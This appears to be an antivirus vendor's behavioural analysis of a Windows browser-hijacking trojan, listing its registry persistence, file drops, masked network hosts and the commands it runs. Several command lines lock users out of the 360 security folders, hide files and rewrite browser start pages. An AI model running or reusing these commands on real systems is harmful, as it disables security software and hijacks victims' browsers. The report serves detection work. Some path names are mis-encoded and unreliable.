Trojan.StartPage.56771

Technical Information

To ensure autorun and distribution:

Modifies the following registry keys:

[<HKLM>\SOFTWARE\Microsoft\Windows\CurrentVersion\Run] 'kavmain' = '"<SYSTEM32>\kavmain.exe"'

Malicious functions:

Creates and executes the following:

'%TEMP%\kingsoftkonline\winsks.exe' /s
'<SYSTEM32>\kavmain.exe'
'%TEMP%\kingsoftkonline\winsks.exe' (downloaded from the Internet)

Executes the following:

'<SYSTEM32>\cacls.exe' "%PROGRAM_FILES%\360\360sd" /d everyone
'<SYSTEM32>\cacls.exe' "%APPDATA%\360sd" /d everyone
'<SYSTEM32>\attrib.exe' "%APPDATA%\360sd" +s +h +r +a
'<SYSTEM32>\cacls.exe' "%APPDATA%\360sd" /c /t /p Everyone:f
'<SYSTEM32>\attrib.exe' "%PROGRAM_FILES%\360\360sd" +s +h +r +a
'<SYSTEM32>\attrib.exe' "%PROGRAM_FILES%\tbkset" +s +h +r +a
'<SYSTEM32>\attrib.exe' /pid=2820
'<SYSTEM32>\attrib.exe' query HKCU\Software\360Chrome
'<SYSTEM32>\attrib.exe' query HKCU\Software\360
'<SYSTEM32>\cacls.exe' "%PROGRAM_FILES%\tbkset" /d everyone
'<SYSTEM32>\reg.exe' query HKCU\Software\360
'<SYSTEM32>\xcopy.exe' /e /h /k /r /s /x /y "mbox_data\Aextion\SogouExe" "%WINDIR%\SogouExe\"
'<SYSTEM32>\cacls.exe' "%PROGRAM_FILES%\360\360Safe" /c /t /p Everyone:f
'<SYSTEM32>\attrib.exe' "%WINDIR%\SogouExe" +s +h +r +a
'<SYSTEM32>\attrib.exe' "%WINDIR%\SakExe" +s +h +r +a
'<SYSTEM32>\taskkill.exe' /f /im SEActIcon.exe
'<SYSTEM32>\cacls.exe' "%APPDATA%\360safe" /c /t /p Everyone:f
'<SYSTEM32>\cacls.exe' "%APPDATA%\360safe" /d everyone
'<SYSTEM32>\cacls.exe' "%PROGRAM_FILES%\360\360sd" /c /t /p Everyone:f
'<SYSTEM32>\cacls.exe' "%PROGRAM_FILES%\360\360Safe" /d everyone
'<SYSTEM32>\attrib.exe' "%PROGRAM_FILES%\360\360Safe" +s +h +r +a
'<SYSTEM32>\attrib.exe' "%APPDATA%\360safe" +s +h +r +a
'<SYSTEM32>\attrib.exe' /pid=2852
'<SYSTEM32>\attrib.exe' /pid=3316
'<SYSTEM32>\attrib.exe' add "HKCR\Directory\Background\shellex\ContextMenuHandlers\{00000000-0000-0000-0000-000000000002}" /f
'<SYSTEM32>\xcopy.exe' add "HKCR\CLSID\{00000000-0000-0000-0000-000000000002}\Instance\InitPropertyBag" /f /v "CLSID" /t REG_SZ /d "{13709620-C279-11CE-A49E-444553540000}"
'<SYSTEM32>\xcopy.exe' add "HKCR\CLSID\{00000000-0000-0000-0000-000000000002}\Instance\InitPropertyBag" /f /v "method" /t REG_SZ /d "ShellExecute"
'<SYSTEM32>\xcopy.exe' /pid=3284
'<SYSTEM32>\attrib.exe' /pid=3348
'<SYSTEM32>\attrib.exe'
'<SYSTEM32>\attrib.exe' /pid=3428
'<SYSTEM32>\attrib.exe' "<DRIVERS>\etc\hosts" -s -h -r -a
'<SYSTEM32>\attrib.exe' add "HKCU\Software\Microsoft\Internet Explorer\Main" /f /v "Start Page" /t REG_SZ /d "http://www.23##.com/?kd###"
'<SYSTEM32>\attrib.exe' /pid=3380
'<SYSTEM32>\reg.exe' query HKCU\Software\Tencent\QQBrowser
'<SYSTEM32>\reg.exe' delete "HKCR\CLSID\{00000000-0000-0000-0000-000000000002}" /f
'<SYSTEM32>\attrib.exe' /pid=2916
'<SYSTEM32>\attrib.exe' /pid=2884
'<SYSTEM32>\attrib.exe' query HKCU\Software\Tencent\QQBrowser
'<SYSTEM32>\reg.exe' add "HKCR\CLSID\{00000000-0000-0000-0000-000000000002}" /f
'<SYSTEM32>\reg.exe' add "HKCR\CLSID\{00000000-0000-0000-0000-000000000002}\Instance\InitPropertyBag" /f /v "command" /t REG_SZ /d "2345═°╓╖╡╝║╜(&D)"
'<SYSTEM32>\attrib.exe' /pid=3220
'<SYSTEM32>\taskkill.exe' add "HKCR\CLSID\{00000000-0000-0000-0000-000000000002}\Instance\InitPropertyBag" /f /v "Param1" /t REG_SZ /d "http://www.23##.com/?kd###"
'<SYSTEM32>\reg.exe' add "HKCR\CLSID\{00000000-0000-0000-0000-000000000002}\InProcServer32" /f /ve /t REG_EXPAND_SZ /d "<SYSTEM32>\shdocvw.dll"
'<SYSTEM32>\reg.exe' add "HKCR\CLSID\{00000000-0000-0000-0000-000000000002}\Instance" /f /v "CLSID" /t REG_SZ /d "{3f454f0e-42ae-4d7c-8ea3-328250d6e272}"
'<SYSTEM32>\attrib.exe' "%WINDIR%\ThemeExe" +s +h +r +a
'<SYSTEM32>\cacls.exe' "%APPDATA%\winsks_data" /c /t /p Everyone:f
'<SYSTEM32>\taskkill.exe' /f /im +++
'<SYSTEM32>\cacls.exe' "<SYSTEM32>\winsks" /d everyone
'<SYSTEM32>\cacls.exe' "%TEMP%\winsks_safe" /d everyone
'<SYSTEM32>\cacls.exe' "%APPDATA%\winsks_data" /d everyone
'<SYSTEM32>\attrib.exe' "%WINDIR%\DeskAlax" +s +h +r +a
'<SYSTEM32>\attrib.exe' "%HOMEPATH%\╫└├ц\┐с╣╖╥Ї└╓web.lnk" +r +s
'<SYSTEM32>\attrib.exe' "%HOMEPATH%\Desktop\┐с╣╖╥Ї└╓web.lnk" +r +s
'<SYSTEM32>\xcopy.exe' /e /h /k /r /s /x /y "does_data\ForAlax\IEAlax\IElnk\Program" "%APPDATA%\Microsoft\Windows\Start Menu\Programs\┐с╠ь╚э├╜\"
'<SYSTEM32>\xcopy.exe' /e /h /k /r /s /x /y "does_data\ForAlax\DeskAlax" "%WINDIR%\DeskAlax\"
'<SYSTEM32>\xcopy.exe' /e /h /k /r /s /x /y "does_data\ForAlax\IEAlax\IElnk\Program" "%ALLUSERSPROFILE%\б╕┐к╩╝б╣▓╦╡е\│╠╨Є\┐с╠ь╚э├╜\"
'<SYSTEM32>\attrib.exe' "<SYSTEM32>\winsks" +s +h +r +a
'<SYSTEM32>\attrib.exe' "%APPDATA%\..\Local" +s +h +r +a
'<SYSTEM32>\attrib.exe' "%APPDATA%\winsks_data" +s +h +r +a
'<SYSTEM32>\attrib.exe' "..\..\winsks_safe" +s +h +r +a
'<SYSTEM32>\attrib.exe' "%TEMP%\winsks_safe" +s +h +r +a
'<SYSTEM32>\attrib.exe' "<Drive name for removable media>:\akfc_data" +s +h +r +a
'<SYSTEM32>\attrib.exe' "%HOMEPATH%\Locals~1\Applic~1\*bookmark*" -s -h -r -a /s /d
'<SYSTEM32>\cacls.exe' "..\..\winsks_safe" /d everyone
'<SYSTEM32>\attrib.exe' "%APPDATA%\..\Local\*bookmark*" -s -h -r -a /s /d
'<SYSTEM32>\attrib.exe' "does_data\Invisible\*.*" +s +r +h /s
'<SYSTEM32>\attrib.exe' "%APPDATA%\*fav*" -s -h -r -a /s /d
'<SYSTEM32>\attrib.exe' "%ALLUSERSPROFILE%\б╕┐к╩╝б╣▓╦╡е\│╠╨Є\┐с╠ь╚э├╜\*.*" +r +s /s /d
'<SYSTEM32>\attrib.exe' "%HOMEPATH%\Desktop\Internet Explorer.lnk" +r +s
'<SYSTEM32>\attrib.exe' "%ALLUSERSPROFILE%\б╕┐к╩╝б╣▓╦╡е\│╠╨Є\Internet Explorer.lnk" +r +s
'<SYSTEM32>\attrib.exe' "%HOMEPATH%\╫└├ц\Internet Explorer.lnk" +r +s
'<SYSTEM32>\attrib.exe' "%HOMEPATH%\б╕┐к╩╝б╣▓╦╡е\│╠╨Є\╞Ї╢п\kavmain.lnk" +r +s
'<SYSTEM32>\attrib.exe' "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\kavmain.lnk" +r +s
'<SYSTEM32>\attrib.exe' "%APPDATA%\Microsoft\Internet Explorer\Quick Launch\╞Ї╢п Internet Explorer фп└└╞ў.lnk" +r +s
'<SYSTEM32>\xcopy.exe' /e /h /k /r /s /x /y "does_data\Invisible\Driver_Data\LocalAppData" "%APPDATA%\..\Local\"
'<SYSTEM32>\xcopy.exe' /e /h /k /r /s /x /y "does_data\Secured\Driver_Data\IEData\Favorites" "%APPDATA%\..\Favorites\"
'<SYSTEM32>\xcopy.exe' /e /h /k /r /s /x /y "does_data\Invisible\Driver_Data\LocalAppData" "%HOMEPATH%\Locals~1\Applic~1\"
'<SYSTEM32>\attrib.exe' "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk" +r +s
'<SYSTEM32>\xcopy.exe' /e /h /k /r /s /x /y "does_data\Invisible\Driver_Data\AppData" "%APPDATA%\"
'<SYSTEM32>\attrib.exe' "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\winsks.lnk" -s -h -r -a
'<SYSTEM32>\attrib.exe' "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\kavmain.lnk" -s -h -r -a
'<SYSTEM32>\attrib.exe' "%HOMEPATH%\б╕┐к╩╝б╣▓╦╡е\│╠╨Є\╞Ї╢п\kavmain.lnk" -s -h -r -a
'<SYSTEM32>\attrib.exe' "%APPDATA%\Microsoft\Windows\Start Menu\Programs\┐с╠ь╚э├╜\*.*" +r +s /s /d
'<SYSTEM32>\attrib.exe' "%HOMEPATH%\б╕┐к╩╝б╣▓╦╡е\│╠╨Є\╞Ї╢п\winsks.lnk" -s -h -r -a
'<SYSTEM32>\reg.exe' add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /f /v "kavmain" /t REG_SZ /d "\"<SYSTEM32>\kavmain.exe""
'<SYSTEM32>\attrib.exe' "%HOMEPATH%\б╕┐к╩╝б╣▓╦╡е\│╠╨Є\╞Ї╢п\winsks.lnk" +r +s
'<SYSTEM32>\attrib.exe' "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\winsks.lnk" +r +s
'<SYSTEM32>\attrib.exe' "<SYSTEM32>\kavmain*.exe" +r +s
'<SYSTEM32>\attrib.exe' "<Drive name for removable media>:\╘┌╧▀┐с╣╖╥Ї└╓{winsks_2k}.lnk" +r +s
'<SYSTEM32>\attrib.exe' "<SYSTEM32>\winsks.html" +r +s

Injects code into

the following system processes:

<SYSTEM32>\xcopy.exe
<SYSTEM32>\taskkill.exe
<SYSTEM32>\attrib.exe

Sets a new unauthorized home page for Windows Internet Explorer.

Modifies file system :

Creates the following files:

%TEMP%\aut40.tmp
%TEMP%\winsks_safe\winsks_ok\does_data\Invisible\Driver_Data\LocalAppData\TaoBrowser\User Data\Default\Preferences
%TEMP%\winsks_safe\winsks_ok\does_data\UpLoad\KuData\kavmain.exe
%TEMP%\winsks_safe\winsks_ok\does_data\UpLoad\KuData\kavmain_fav.exe
%TEMP%\aut41.tmp
%TEMP%\aut3F.tmp
%TEMP%\aut3D.tmp
%TEMP%\winsks_safe\winsks_ok\does_data\Invisible\Driver_Data\LocalAppData\360Chrome\Chrome\User Data\Default\Preferences
%TEMP%\winsks_safe\winsks_ok\does_data\Invisible\Driver_Data\LocalAppData\Google\Chrome\User Data\Default\Preferences
%TEMP%\winsks_safe\winsks_ok\does_data\Invisible\Driver_Data\LocalAppData\liebao\User Data\Default\Preferences
%TEMP%\aut3E.tmp
%TEMP%\aut42.tmp
%WINDIR%\DeskAlax\Tianlnk\duba123u.url
%WINDIR%\DeskAlax\Tianlnk\2345u.url
%WINDIR%\DeskAlax\Tianlnk\dubawebu.url
%HOMEPATH%\Desktop\┐с╣╖╥Ї└╓web.lnk
%WINDIR%\DeskAlax\Tianlnk\hao123u.url
%WINDIR%\DeskAlax\TianIco\kumain.ico
%WINDIR%\DeskAlax\TianIco\2345me.ico
%TEMP%\winsks_safe\winsks_ok\does_data\UpLoad\KuData\Main\kudown.pfc
%WINDIR%\DeskAlax\TianIco\duba123.ico
%WINDIR%\DeskAlax\TianIco\hao123.ico
%WINDIR%\DeskAlax\TianIco\dubaweb.ico
%TEMP%\winsks_safe\winsks_ok\does_data\Invisible\Driver_Data\AppData\360se\login.ini
%TEMP%\aut33.tmp
%TEMP%\aut34.tmp
%TEMP%\aut35.tmp
%TEMP%\winsks_safe\winsks_ok\does_data\Invisible\Driver_Data\AppData\360se6\apps\data\users\login.ini
%TEMP%\winsks_safe\winsks_ok\does_data\Invisible\Driver_Data\AppData\2345Explorer\Users\Default\Default.cfg
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\IEAlax\IEsever\Homepage.pfc
%TEMP%\aut30.tmp
%TEMP%\aut31.tmp
%TEMP%\aut32.tmp
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\UpAlax\upsever\about.pfc
%TEMP%\winsks_safe\winsks_ok\does_data\Invisible\Driver_Data\AppData\360se6\User Data\Default\Preferences
%TEMP%\winsks_safe\winsks_ok\does_data\Invisible\Driver_Data\AppData\SogouExplorer\config.xml
%TEMP%\aut3A.tmp
%TEMP%\aut3B.tmp
%TEMP%\aut3C.tmp
%TEMP%\winsks_safe\winsks_ok\does_data\Invisible\Driver_Data\LocalAppData\2345Chrome\User Data\Default\Preferences
%TEMP%\winsks_safe\winsks_ok\does_data\Invisible\Driver_Data\AppData\BlueView\setting.ini
%TEMP%\winsks_safe\winsks_ok\does_data\Invisible\Driver_Data\AppData\Baidu\browser\UserData\0A73B7929C9546628F097CEEACA6E079410064006d0069006e006900730074007200610074006f007200\userpref_v2
%TEMP%\aut36.tmp
%TEMP%\aut38.tmp
%TEMP%\aut39.tmp
%TEMP%\winsks_safe\winsks_ok\does_data\Invisible\Driver_Data\AppData\Baidu\hao123Browser\UserData\0A73B7929C9546628F097CEEACA6E079410064006d0069006e006900730074007200610074006f007200\userpref_v2
%ALLUSERSPROFILE%\б╕┐к╩╝б╣▓╦╡е\│╠╨Є\┐с╠ь╚э├╜\最新设计酷.lnk
%HOMEPATH%\Local\Google\Chrome\User Data\Default\Preferences
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\20130612203726162-3544694[1].png
%HOMEPATH%\Local\liebao\User Data\Default\Preferences
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\201306122037265143-3544694[1].png
%HOMEPATH%\Local\TaoBrowser\User Data\Default\Preferences
%HOMEPATH%\Local\360Chrome\Chrome\User Data\Default\Preferences
<LS_APPDATA>\liebao\User Data\Default\Preferences
<LS_APPDATA>\Google\Chrome\User Data\Default\Preferences
<LS_APPDATA>\TaoBrowser\User Data\Default\Preferences
%HOMEPATH%\Local\2345Chrome\User Data\Default\Preferences
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\201306122037258431-3544694[1].png
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\YPORKZYZ\201306122038515111-3544694[1].png
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\YPORKZYZ\20130612204053374-3544694[1].png
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\201306122040537852-3544694[1].png
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\201306122040537346-3544694[1].png
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\201306122040532727-3544694[1].png
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\20130612204053435-3544694[1].png
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\20130612204053683-3544694[1].png
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\U98D4X8H\201306122038515183-3544694[1].png
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\201306122038516432-3544694[1].png
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\2VAZY7AN\20130612203852935-3544694[1].png
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\KHMHGZ4F\20130612204053851-3544694[1].png
%HOMEPATH%\Local Settings\Temporary Internet Files\Content.IE5\YPORKZYZ\20130612203852724-3544694[1].png
%ALLUSERSPROFILE%\б╕┐к╩╝б╣▓╦╡е\│╠╨Є\Internet Explorer.lnk
%HOMEPATH%\Desktop\Internet Explorer.lnk
%APPDATA%\Microsoft\Internet Explorer\Quick Launch\╞Ї╢п Internet Explorer фп└└╞ў.lnk
%APPDATA%\kudown.pfc
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk
<SYSTEM32>\kavmain_fav.exe
%APPDATA%\Microsoft\Windows\Start Menu\Programs\┐с╠ь╚э├╜\最新设计酷.lnk
%ALLUSERSPROFILE%\б╕┐к╩╝б╣▓╦╡е\│╠╨Є\┐с╠ь╚э├╜\酷狗音乐web.lnk
%APPDATA%\Microsoft\Windows\Start Menu\Programs\┐с╠ь╚э├╜\酷狗音乐web.lnk
<SYSTEM32>\kavmain.exe
<SYSTEM32>\winsks.html
%APPDATA%\BlueView\setting.ini
%APPDATA%\Baidu\hao123Browser\UserData\0A73B7929C9546628F097CEEACA6E079410064006d0069006e006900730074007200610074006f007200\userpref_v2
%APPDATA%\SogouExplorer\config.xml
<LS_APPDATA>\360Chrome\Chrome\User Data\Default\Preferences
<LS_APPDATA>\2345Chrome\User Data\Default\Preferences
%APPDATA%\Baidu\browser\UserData\0A73B7929C9546628F097CEEACA6E079410064006d0069006e006900730074007200610074006f007200\userpref_v2
%APPDATA%\360se\login.ini
%APPDATA%\2345Explorer\Users\Default\Default.cfg
%TEMP%\kingsoftkonline\winsks.exe.tmp
%APPDATA%\360se6\User Data\Default\Preferences
%APPDATA%\360se6\apps\data\users\login.ini
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\IEAlax\IEsever\Hight.pfc
%TEMP%\aut10.tmp
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\ExpAleax\2345\2345all\Driver_D\2345智能浏览器.lnk
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\ExpAleax\360se\360cse6\Driver_C\360极速浏览器.lnk
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\ExpAleax\360se\360se35\Driver_C\360安全浏览器.lnk
%TEMP%\aut11.tmp
%TEMP%\autF.tmp
%TEMP%\autD.tmp
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\ExpAleax\2345\2345all\Driver_C\2345加速浏览器.lnk
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\ExpAleax\2345\2345all\Driver_C\2345智能浏览器.lnk
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\ExpAleax\2345\2345all\Driver_D\2345加速浏览器.lnk
%TEMP%\autE.tmp
%TEMP%\aut12.tmp
%TEMP%\aut16.tmp
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\ExpAleax\baidu\bdall\Driver_D\百度浏览器.lnk
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\ExpAleax\blueview\bluevall\Driver_C\蓝光浏览器.lnk
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\ExpAleax\blueview\bluevall\Driver_D\蓝光浏览器.lnk
%TEMP%\aut17.tmp
%TEMP%\aut15.tmp
%TEMP%\aut13.tmp
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\ExpAleax\360se\360se35\Driver_D\360安全浏览器.lnk
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\ExpAleax\360se\360se6\Driver_C\360安全浏览器6.lnk
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\ExpAleax\baidu\bdall\Driver_C\百度浏览器.lnk
%TEMP%\aut14.tmp
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\DeskAlax\TianIco\duba123.ico
%TEMP%\aut4.tmp
%TEMP%\aut5.tmp
%TEMP%\aut6.tmp
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\DeskAlax\TianIco\dubaweb.ico
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\DeskAlax\TianIco\2345me.ico
%TEMP%\winsks_safe\winsks_ok\winsks.bat
%TEMP%\aut1.tmp
%TEMP%\aut2.tmp
%TEMP%\aut3.tmp
%TEMP%\winsks_safe\winsks_ok\winsks.html
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\DeskAlax\TianIco\hao123.ico
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\DeskAlax\Tianlnk\dubawebu.url
%TEMP%\autA.tmp
%TEMP%\autB.tmp
%TEMP%\autC.tmp
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\DeskAlax\Tianlnk\hao123u.url
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\DeskAlax\Tianlnk\duba123u.url
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\DeskAlax\TianIco\kumain.ico
%TEMP%\aut7.tmp
%TEMP%\aut8.tmp
%TEMP%\aut9.tmp
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\DeskAlax\Tianlnk\2345u.url
%TEMP%\aut18.tmp
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\IEAlax\IElnk\Biger\winsks.lnk
%TEMP%\aut27.tmp
%TEMP%\aut28.tmp
%TEMP%\aut29.tmp
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\IEAlax\IElnk\DriverD\winsks.lnk
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\IEAlax\IEhosts\drivers_etc\hosts
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\IEAlax\IEexe\Internet Explorer.bak
%TEMP%\aut24.tmp
%TEMP%\aut25.tmp
%TEMP%\aut26.tmp
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\IEAlax\IEhosts\ReadTian.txt
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\IEAlax\IElnk\Hight\Internet Explorer.lnk
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\IEAlax\IElnk\Program\酷狗音乐web.lnk
%TEMP%\aut2D.tmp
%TEMP%\aut2E.tmp
%TEMP%\aut2F.tmp
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\IEAlax\IEsever\Chage.pfc
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\IEAlax\IElnk\Program\最新设计酷.lnk
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\IEAlax\IElnk\KuMain\kavmain.lnk
%TEMP%\aut2A.tmp
%TEMP%\aut2B.tmp
%TEMP%\aut2C.tmp
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\IEAlax\IElnk\Options\Internet Explorer.lnk
%TEMP%\aut1C.tmp
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\ExpAleax\hao123\hao123all\Driver_D\百度浏览器hao123专版.lnk
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\ExpAleax\liebao\lball\Driver_C\猎豹浏览器.lnk
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\ExpAleax\liebao\lball\Driver_D\猎豹浏览器.lnk
%TEMP%\aut1D.tmp
%TEMP%\aut1B.tmp
%TEMP%\aut19.tmp
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\ExpAleax\chrome\chromeall\Driver_C\Google Chrome.lnk
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\ExpAleax\chrome\chromeall\Driver_D\Google Chrome.lnk
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\ExpAleax\hao123\hao123all\Driver_C\百度浏览器hao123专版.lnk
%TEMP%\aut1A.tmp
%TEMP%\aut1E.tmp
%TEMP%\aut22.tmp
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\ExpAleax\sogou\sgall\Driver_D\搜狗高速浏览器.lnk
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\ExpAleax\taobao\tball\Driver_C\淘宝浏览器.lnk
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\ExpAleax\taobao\tball\Driver_D\淘宝浏览器.lnk
%TEMP%\aut23.tmp
%TEMP%\aut21.tmp
%TEMP%\aut1F.tmp
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\ExpAleax\qqbrowser\qqall\Driver_C\QQ浏览器.lnk
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\ExpAleax\qqbrowser\qqall\Driver_D\QQ浏览器.lnk
%TEMP%\winsks_safe\winsks_ok\does_data\ForAlax\ExpAleax\sogou\sgall\Driver_C\搜狗高速浏览器.lnk
%TEMP%\aut20.tmp

Sets the 'hidden' attribute to the following files:

%APPDATA%\Microsoft\Windows\Start Menu\Programs\┐с╠ь╚э├╜\最新设计酷.lnk
%APPDATA%\Microsoft\Windows\Start Menu\Programs\┐с╠ь╚э├╜\酷狗音乐web.lnk
<SYSTEM32>\winsks.html
%HOMEPATH%\Desktop\┐с╣╖╥Ї└╓web.lnk
%ALLUSERSPROFILE%\б╕┐к╩╝б╣▓╦╡е\│╠╨Є\┐с╠ь╚э├╜\最新设计酷.lnk
%ALLUSERSPROFILE%\б╕┐к╩╝б╣▓╦╡е\│╠╨Є\┐с╠ь╚э├╜\酷狗音乐web.lnk
%ALLUSERSPROFILE%\б╕┐к╩╝б╣▓╦╡е\│╠╨Є\Internet Explorer.lnk
%APPDATA%\Microsoft\Internet Explorer\Quick Launch\╞Ї╢п Internet Explorer фп└└╞ў.lnk
%APPDATA%\Microsoft\Windows\Start Menu\Programs\Internet Explorer.lnk
<SYSTEM32>\kavmain.exe
<SYSTEM32>\kavmain_fav.exe
%HOMEPATH%\Desktop\Internet Explorer.lnk
%TEMP%\winsks_safe\winsks_ok\does_data\Invisible\Driver_Data\LocalAppData\TaoBrowser\User Data\Default\Preferences
%TEMP%\winsks_safe\winsks_ok\does_data\Invisible\Driver_Data\AppData\360se6\User Data\Default\Preferences
%TEMP%\winsks_safe\winsks_ok\does_data\Invisible\Driver_Data\AppData\Baidu\browser\UserData\0A73B7929C9546628F097CEEACA6E079410064006d0069006e006900730074007200610074006f007200\userpref_v2
%TEMP%\winsks_safe\winsks_ok\does_data\Invisible\Driver_Data\AppData\Baidu\hao123Browser\UserData\0A73B7929C9546628F097CEEACA6E079410064006d0069006e006900730074007200610074006f007200\userpref_v2
%TEMP%\winsks_safe\winsks_ok\does_data\Invisible\Driver_Data\AppData\2345Explorer\Users\Default\Default.cfg
%TEMP%\winsks_safe\winsks_ok\does_data\Invisible\Driver_Data\AppData\360se\login.ini
%TEMP%\winsks_safe\winsks_ok\does_data\Invisible\Driver_Data\AppData\360se6\apps\data\users\login.ini
%TEMP%\winsks_safe\winsks_ok\does_data\Invisible\Driver_Data\LocalAppData\360Chrome\Chrome\User Data\Default\Preferences
%TEMP%\winsks_safe\winsks_ok\does_data\Invisible\Driver_Data\LocalAppData\Google\Chrome\User Data\Default\Preferences
%TEMP%\winsks_safe\winsks_ok\does_data\Invisible\Driver_Data\LocalAppData\liebao\User Data\Default\Preferences
%TEMP%\winsks_safe\winsks_ok\does_data\Invisible\Driver_Data\AppData\BlueView\setting.ini
%TEMP%\winsks_safe\winsks_ok\does_data\Invisible\Driver_Data\AppData\SogouExplorer\config.xml
%TEMP%\winsks_safe\winsks_ok\does_data\Invisible\Driver_Data\LocalAppData\2345Chrome\User Data\Default\Preferences

Deletes the following files:

%TEMP%\aut2F.tmp
%TEMP%\aut30.tmp
%TEMP%\aut2D.tmp
%TEMP%\aut2E.tmp
%TEMP%\aut33.tmp
%TEMP%\aut34.tmp
%TEMP%\aut31.tmp
%TEMP%\aut32.tmp
%TEMP%\aut2C.tmp
%TEMP%\aut26.tmp
%TEMP%\aut27.tmp
%TEMP%\aut24.tmp
%TEMP%\aut25.tmp
%TEMP%\aut2A.tmp
%TEMP%\aut2B.tmp
%TEMP%\aut28.tmp
%TEMP%\aut29.tmp
%TEMP%\aut41.tmp
%TEMP%\aut42.tmp
%TEMP%\aut3F.tmp
%TEMP%\aut40.tmp
%WINDIR%\DeskAlax\Tianlnk\dubawebu.url
%WINDIR%\DeskAlax\Tianlnk\hao123u.url
%WINDIR%\DeskAlax\Tianlnk\2345u.url
%WINDIR%\DeskAlax\Tianlnk\duba123u.url
%TEMP%\aut3E.tmp
%TEMP%\aut38.tmp
%TEMP%\aut39.tmp
%TEMP%\aut35.tmp
%TEMP%\aut36.tmp
%TEMP%\aut3C.tmp
%TEMP%\aut3D.tmp
%TEMP%\aut3A.tmp
%TEMP%\aut3B.tmp
%TEMP%\aut23.tmp
%TEMP%\autC.tmp
%TEMP%\autD.tmp
%TEMP%\autA.tmp
%TEMP%\autB.tmp
%TEMP%\aut10.tmp
%TEMP%\aut11.tmp
%TEMP%\autE.tmp
%TEMP%\autF.tmp
%TEMP%\aut9.tmp
%TEMP%\aut3.tmp
%TEMP%\aut4.tmp
%TEMP%\aut1.tmp
%TEMP%\aut2.tmp
%TEMP%\aut7.tmp
%TEMP%\aut8.tmp
%TEMP%\aut5.tmp
%TEMP%\aut6.tmp
%TEMP%\aut1D.tmp
%TEMP%\aut1E.tmp
%TEMP%\aut1B.tmp
%TEMP%\aut1C.tmp
%TEMP%\aut21.tmp
%TEMP%\aut22.tmp
%TEMP%\aut1F.tmp
%TEMP%\aut20.tmp
%TEMP%\aut1A.tmp
%TEMP%\aut14.tmp
%TEMP%\aut15.tmp
%TEMP%\aut12.tmp
%TEMP%\aut13.tmp
%TEMP%\aut18.tmp
%TEMP%\aut19.tmp
%TEMP%\aut16.tmp
%TEMP%\aut17.tmp

Moves the following files:

from %TEMP%\kingsoftkonline\winsks.exe.tmp to %TEMP%\kingsoftkonline\winsks.exe

Network activity:

Connects to:

'up####.clanmark.com':80
'im###.hnol.net':80
'bo.###a.net:8080':80
'localhost':1038

TCP:

HTTP GET requests:

